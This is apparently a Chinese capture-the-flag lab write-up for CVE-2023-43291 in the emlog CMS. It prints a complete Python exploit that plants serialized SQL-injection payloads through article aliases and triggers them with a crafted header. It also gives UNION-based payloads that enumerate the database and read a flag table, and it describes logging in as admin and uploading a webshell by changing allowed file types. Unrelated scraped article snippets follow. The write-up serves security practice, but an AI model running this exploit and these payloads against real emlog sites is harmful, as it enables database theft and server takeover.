【春秋云镜】CVE-2023-43291 emlog SQL注入

靶场介绍

emlog是一款轻量级博客及CMS建站系统,在emlog pro v.2.1.15及更早版本中的不受信任数据反序列化允许远程攻击者通过cache.php组件执行SQL语句。

不感兴趣的可以直接拉到最后面,直接获取flag

备注:没有通过sql注入获取到flag,但是通过其他方法获得了,如果有大佬通过sql注入获取flag请告诉我。

开启靶场

在这里插入图片描述
搜索POC,该POC是执行user()函数

import requests
import sys
import time
requests.packages.urllib3.disable_warnings()url = "http://eci-2ze5lrqt8xe7n32hn1rm.cloudeci1.ichunqiu.com"
session = requests.session()
proxy = {"http": "127.0.0.1:8080",     "https": "127.0.0.1:8080"
}# Step1 注册一个账户并登录,获取token
def step1():url_register = "/admin/account.php?action=dosignup"data_register = {"mail":"9a6d0oL@test.com","passwd":"password","repasswd": "password"}session.post(url+url_register, data=data_register, verify=False, allow_redirects=False, proxies=proxy)url_login = "/admin/account.php?action=dosignin&s="data_login = {"user": "9a6d0oL@test.com","pw": "password"}res = session.post(url+url_login, data=data_login, verify=False, allow_redirects=False, proxies=proxy)if res.status_code != 302 or res.headers.get("Location") != "./":print("登录错误")exit()url_token = "/admin/article.php"res = session.get(url+url_token, verify=False, allow_redirects=False, proxies=proxy)while res.status_code != 200:   # 因为该cms会随机进行重新的身份认证,详见include/service/user.php:106res = session.get(url+url_token, verify=False, allow_redirects=False, proxies=proxy)global tokentry:token = res.text.split('id="token" value="')[1].split('"')[0].strip()except:token = ""# Step2 新建两篇文章,设置两篇文章的alias,写入payload
def step2():url_article = "/admin/article_save.php?action=autosave"data_article = {"logcontent": time.time(), "logexcerpt": '', "title": time.time(), "cover": '', "alias": time.time(), "sort": "-1", "postdate": "2022-10-16 00:01:34", "date": '', "tag": '', "top": "n", "sortop": "n", "allow_remark": "y", "password": '', "token": token, "ishide": "y", "as_logid": "-1"}# 新建第一篇文章res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)while res.status_code != 200:res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)try:id_1 = res.text.split(":")[1].split("_")[0]except:print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")exit()# 新建第二篇文章data_article["logcontent"] = time.time()data_article["title"] = time.time()data_article["alias"] = time.time()res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)while res.status_code != 200:res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)try:id_2 = int(res.text.split(":")[1].split("_")[0])except:print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")exit()# 更改第二篇文章的alias# payload = '''";s:87:"0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','',''#";s:1:"Y'''payload = '''";s:93:"0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#";s:1:"Y'''data_article["as_logid"] = id_2print (id_2)if id_2 < 10:data_article["alias"] = payloadif id_2 >= 10:data_article["alias"] = payload[1:]if id_2 >= 100:# data_article["alias"] = ''';s:81:"0 union select 1,user(),1,'','','','',1,-1,'blog',1,1,0,'','','','y','','','',''#";s:1:"Y'''data_article["alias"] = ''';s:87:"0 union select 1,user(),1,'','','','',1,-1,'blog',1,1,0,'','','','y','','','','','',''#";s:1:"Y'''res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)while res.status_code != 200:res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)# 更改第一篇文章的aliasdata_article["as_logid"] = id_1data_article["alias"] = "<?php exit;//"res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)while res.status_code != 200:res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)# Step3 访问触发反序列化以及sql注入
def step3():headers = {"X-Rewrite-Url": "/Y",}res = session.get(url, headers=headers, verify=False, allow_redirects=False, proxies=proxy)if res.status_code == 200:print(res.text.split("<title>")[1].split("</title>")[0])else:raise  Exceptionif __name__ == "__main__":try:step3()except:step1()step2()step3()

将脚本挂上代理,
step1() //注册用户
step2() //写入payload
step3() //执行脚本

操作步骤

打开burp 挂上代理

注册包全部放通,只保留这个数据包 step2()
在这里插入图片描述
保留第二个数据包 step3()
在这里插入图片描述

执行SQL语句

通过脚本可以获取到执行的命令
在这里插入图片描述

寻找flag位置

将URL编码转换后,可以发现他的语句是这样的:

0 union select 1,user(),‘1’,‘’,‘’,‘’,‘’,1,-1,‘blog’,1,1,0,‘n’,‘n’,‘n’,‘y’,‘y’,‘’,‘’,‘’,‘’,‘’#

然后我们替换user()即可。
0 union select 1,concat(0x7e,(SELECT CONCAT(TABLE_SCHEMA,‘-’,TABLE_NAME, ‘-’,COLUMN_NAME) FROM information_schema.COLUMNS WHERE COLUMN_NAME = ‘flag’ LIMIT 0,1),0x7e),‘1’,‘’,‘’,‘’,‘’,1,-1,‘blog’,1,1,0,‘n’,‘n’,‘n’,‘y’,‘y’,‘’,‘’,‘’,‘’,‘’#

然后数一下前面有你总共输入了多少个字符,例如上面一共是235个字符
在这里插入图片描述

在这里插入图片描述
存在flag
在这里插入图片描述
靶场有3处存在flag列 将limit处修改为 limit 2.1
在这里插入图片描述

得知存在flllllaaaag表,并且在emlog数据库中,然后编写payload

0 union select 1,concat(0x7e,(select CONCAT(id, ‘-’,flag) from flllllaaaag),0x7e),‘1’,‘’,‘’,‘’,‘’,1,-1,‘blog’,1,1,0,‘n’,‘n’,‘n’,‘y’,‘y’,‘’,‘’,‘’,‘’,‘’#
在这里插入图片描述
结果提示
Illegal mix of collations for operation ‘UNION’
在这里插入图片描述

获取flag 有点生气,然后气了一下

登录admin 密码 admin123
这里可以下载数据库备份
在这里插入图片描述
查看文件的最后

在这里插入图片描述

总结

我太菜了,不知道sql报错怎么解决,有大佬看到这里希望可以研究一下,有成果联系我,感谢感谢。

如果对你有用,请不要取关哦,感谢感谢

获取shell

在看sql文件时发现这里可以修改运行上传的文件类型:
在这里插入图片描述
在页面修改时,修改为php会自动修改为X,这里上传SQL备份后不会改变。
在这里插入图片描述
直接上传webshell
在这里插入图片描述
获取shell
在这里插入图片描述
查看配置文件为
在这里插入图片描述
不活心,可能是不存在flag。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/825238.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

汇编语言——将DX,AX组成的32位数逻辑左移3位

data segment data ends stack segment stacktop label worddw 100 dup (?) stack ends code segmentassume cs:code,ds:data,ss:stack main proc farmov ax,datamov ds,axmov ax,stackmov ss,axlea sp,top;0000 0001 1100 1010 | 0000 0010 0001 1111;逻辑左移三位后&#xf…

基于SpringBoot框架的智慧食堂

采用技术 基于SpringBoot框架实现的web的智慧社区系统的设计与实现~ 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;SpringBootMyBatis 工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 页面展示效果 系统功能 系统首页 用户注册页面 菜品信息页面 …

spispio

SS:NSS( NOT SLAVE SELET )、CS( CHIP SELECT ) 同步&#xff1a;SCK引脚用于提供时钟信号&#xff0c;数据位的输出和输入都是在SCK的上升沿或下降沿进行&#xff0c;数据位的收发时刻因此得以确定。同步时序下时钟快慢或中途暂停都没问题。SCK相当于IIC通信下的SCL&#xff0…

Spark面试整理-如何在Spark中进行数据清洗和转换?

在Apache Spark中进行数据清洗和转换是数据处理流程中的一个重要步骤。这个过程涉及从原始数据中删除或修正不准确、不完整、不相关或不正确格式的数据,以及将数据转换成更适合分析的形式。以下是在Spark中进行数据清洗和转换的一些常见方法: 1. 读取数据 首先,需要从支持的…

Android 性能优化(七):APK安装包体积优化

包体积优化重要性 移动 App 特别关注投放转化率指标&#xff0c;而 App 包体积是影响用户新增的重要因素&#xff0c;而 App 的包体积又是影响投放转化率的重要因素。 Google 2016 年公布的研究报告显示&#xff0c;包体积每上升 6MB 就会带来下载转化率降低 1%&#xff0c; …

SpringBoot Jar包在CentOS7.x上注册成服务并开机启动

本文将介绍如何把SpringBoot Jar包在CentOS7.x上注册成服务并设置为开机启动。 在CentOS系统中&#xff0c;将Spring Boot应用程序打包成jar文件后&#xff0c;可以通过创建Systemd服务来将其部署为系统服务&#xff0c;并设置为开机启动。 以下是详细的步骤和说明&#xff1a…

直方图与核密度估计

技术背景 直方图是一种经常被用于统计的图形表达形式&#xff0c;简单来说它的功能就是用一系列的样本数据&#xff0c;去分析样本的分布规律。而直方图跟核密度估计(Kernel Density Estimation&#xff0c;KDE)方法的主要差别在于&#xff0c;直方图得到的是一个离散化的统计分…

【全开源】多功能完美运营版商城 虚拟商品全功能商城 全能商城小程序 智慧商城系统 全品类百货商城

内容目录 一、详细介绍二、效果展示1.部分代码2.效果图展示 三、学习资料下载 一、详细介绍 完美运营版商城/拼团/团购/秒杀/积分/砍价/实物商品/虚拟商品等全功能商城 干干净净 没有一丝多余收据 还没过手其他站 还没乱七八走的广告和后门 后台可以自由拖曳修改前端UI页面 …

实名制重要性、PHP身份实名认证示例、身份证ocr识别核验

身份证丢失失&#xff0c;可能会被不法分子利用去贷款。虽然是被人冒名办理&#xff0c;客观上不承担责任&#xff0c;但会造成个人信用信息的困扰。因此&#xff0c;对于个人来讲&#xff0c;要妥善保管自己的身份证&#xff0c;避免不必要的麻烦。对于贷款机构来说&#xff0…

Aigtek功率放大器的使用方法有哪些

功率放大器是一种将小信号放大为大信号的电子设备&#xff0c;广泛应用于无线通信、音频系统、雷达等领域。在使用功率放大器时&#xff0c;需要注意以下几个方面&#xff1a; 电源供应&#xff1a;功率放大器需要提供稳定的电源供应以保证正常工作。通常情况下&#xff0c;功率…

正式发布的Spring AI,能让Java喝上AI赛道的汤吗

作者:鱼仔 博客首页: https://codeease.top 公众号:Java鱼仔 前言 最近几年AI发展实在太快了&#xff0c;仿佛只要半年没关注&#xff0c;一个新的大模型所产生的效果就能超越你的想象。Java在AI这条路上一直没什么好的发展&#xff0c;不过Spring最近出来了一个新的模块叫做S…

[Linux][进程间通信][一][匿名管道][命名管道]详细解读

目录 0.进程间通信&#xff1f;1.进程间通信目的2.进程间通信分类3.进程间通信的本质理解 1.什么是管道&#xff1f;2.匿名管道1.认识函数2.如何让不同的进程&#xff0c;看到同一份资源&#xff1f;3.用fork来共享管道原理4.站在文件描述符角度 -- 深刻理解管道5.站在内核角度…

目标检测——食品饮料数据集

一、重要性及意义 对食品和饮料进行目标检测的重要性和意义体现在多个方面&#xff1a; 商业应用与市场分析&#xff1a;目标检测技术在食品和饮料行业有着广泛的应用前景。通过对超市货架、餐馆菜单或广告海报中的食品和饮料进行自动识别和计数&#xff0c;商家可以获取关于产…

【微服务】spring状态机模式使用详解

一、前言 在很多系统中,通常会涉及到某个业务需要进行各种状态的切换操作,例如在审批流程场景下,某个审批的向下流转需要依赖于上一个状态的结束,再比如电商购物场景中,一个订单的生命周期往往伴随着不同的状态,比如待支付,支付完成,已发货等等,状态的存在,让一个业…

登录解析(后端)

调试登录接口 进入实现类可以有 验证码校验 登录前置校验 用户验证 验证码校验 通过uuid获取redis 中存储的验证码信息&#xff0c;获取后对用户填写的验证码数据进行校验比对 用户验证 1.进入控制器的 /login 方法 2.进入security账号鉴权功能&#xff0c;经过jar内的流…

HTML:Form表单控件主要标签及属性。name属性,value属性,id属性详解。表单内容的传递流程,get和post数据传递样式。表单数据传递实例

form表单 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title> </head> &…

c语言中什么是冒泡排序,冒泡排序的计算

在c语言中&#xff0c;冒泡排序的解释是&#xff0c;将被排序的记录数组arr[1..n]垂直排列&#xff0c;每个记录arr看作是重量为一个arr气泡。根据轻气泡不能在重气泡之下的原则&#xff0c;从下往上扫描数组arr&#xff0c;凡扫描到违反该原则的轻气泡&#xff0c;就使其向上飘…

算法练习第19天|222.完全二叉树的节点个数

222.完全二叉树的节点个数 222. 完全二叉树的节点个数 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/count-complete-tree-nodes/description/ 题目描述&#xff1a; 给你一棵 完全二叉树 的根节点 root &#xff0c;求出该树的节点个数。题目数据保…

Python机器学习项目开发实战:如何进行语音识别

注意&#xff1a;本文的下载教程&#xff0c;与以下文章的思路有相同点&#xff0c;也有不同点&#xff0c;最终目标只是让读者从多维度去熟练掌握本知识点。 下载教程&#xff1a;Python机器学习项目开发实战_语音识别_编程案例解析实例详解课程教程.pdf 在Python机器学习项目…

富格林:惕防出金黑幕保障交易

富格林指出&#xff0c;目前随着地缘政治局势引发的避险情绪高涨&#xff0c;不少投资者都开始选择投资黄金实现避险。投资者投资现货黄金的目的除了避险外还应是为了盈利出金让财富增值。相信了解现货黄金的投资者&#xff0c;都对黄金黑幕有所耳闻。因此&#xff0c;要想保障…